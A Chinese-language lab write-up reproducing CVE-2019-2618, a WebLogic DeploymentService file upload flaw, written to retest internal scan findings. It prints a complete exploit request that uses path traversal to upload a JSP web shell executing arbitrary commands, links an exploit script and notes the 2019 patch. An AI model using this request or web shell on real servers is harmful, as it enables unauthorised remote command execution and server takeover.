CVE-2019-2618任意文件上傳漏洞復現
漏洞介紹:
近期在內網掃描出不少CVE-2019-2618漏洞,需要復測,自己先搭個環境測試,復現下利用過程,該漏洞主要是利用了WebLogic組件中的DeploymentService接口向服務器上傳文件。攻擊者突破了OAM(Oracle Access Management)認證,設置wl_request_type參數為app_upload,構造文件上傳格式的POST請求包,上傳jsp木馬文件,進而可以獲得整個服務器的權限。
環境准備
靶機:已經安裝好的win7 10.3版本weblogic,IP地址:192.168.177.129
啟動weblogic:
漏洞復測:
CVE-2019-2618是任意文件上傳漏洞,但是上傳利用接口需要賬號密碼,因為weblogic本身是可以上傳war包進行部署網站的,所以漏洞比較雞肋
漏洞POC:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1 Host: 192.168.177.129:7001 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.21.0 username: weblogic wl_request_type: app_upload cache-control: no-cache wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war serverName: weblogic password:your password content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW archive: true server_version: 10.3.6.0 wl_upload_delta: true Content-Length: 1080 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp" Content-Type: false <%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> ------WebKitFormBoundary7MA4YWxkTrZu0gW--
服務器上查看寫入的文件:
利用py腳本復現:
腳本下載地址:
https://github.com/jas502n/cve-2019-2618
執行python成功上傳
漏洞修復
2019年官方已出補丁,漏洞已修復。
參考文獻:
https://www.freebuf.com/vuls/202800.html
https://zhuanlan.zhihu.com/p/64962131
https://github.com/jas502n/cve-2019-2618